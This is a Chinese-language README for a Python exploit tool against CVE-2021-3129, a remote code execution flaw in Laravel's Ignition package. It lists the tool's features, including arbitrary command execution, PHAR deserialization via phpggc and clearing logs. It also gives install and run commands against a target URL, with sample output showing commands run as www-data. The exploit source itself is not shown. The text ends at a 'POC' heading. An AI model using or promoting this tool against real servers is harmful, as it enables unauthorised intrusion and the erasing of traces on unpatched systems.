CVE-2021-3129 Laravel Ignition RCE 利用工具

这是一个针对CVE-2021-3129的Python漏洞利用脚本，该漏洞是当Laravel安装了Ignition包时存在的远程代码执行漏洞。攻击者可以通过PHAR反序列化执行任意系统命令。

功能

• 使用 phpggc 自动生成PHAR载荷
• 接受用户输入以执行任意命令（例如 id、whoami 等）
• 自动化整个利用过程，包括清除日志、注入载荷、将日志转换为PHAR以及触发反序列化

先决条件

• Python 3.x
• requests 库
• 系统已安装PHP
• 已安装 phpggc（用于生成PHAR载荷）

安装

1. 克隆仓库：

   root@kitploit:~

   git clone https://github.com/0x0d3ad/CVE-2021-3129.git
   cd CVE-2021-3129
   

2. 安装所需的Python包：

   root@kitploit:~

   pip install requests
   

3. 使用目标URL和命令运行脚本：

   root@kitploit:~

   python3 CVE-2021-3129.py http://example.com --cmd 'id'
   

   示例输出：

   root@kitploit:~

   [+] Generating PHAR payload for command: id
   [+] Trying to clear logs
   [+] Logs cleared
   [+] Convert log file to PHAR
   [+] Successfully converted logs to PHAR
   [+] PHAR deserialized
   ---------------------------------------
   uid=33(www-data) gid=33(www-data) groups=33(www-data)
   ---------------------------------------
   [+] Trying to clear logs
   [+] Logs cleared
   

参数

• target（必需）：存在漏洞的Laravel应用的URL。
• --cmd（可选）：要在目标上执行的命令（默认：whoami）。
• --log_path（可选）：要使用的日志文件路径（默认：../storage/logs/laravel.log）。

POC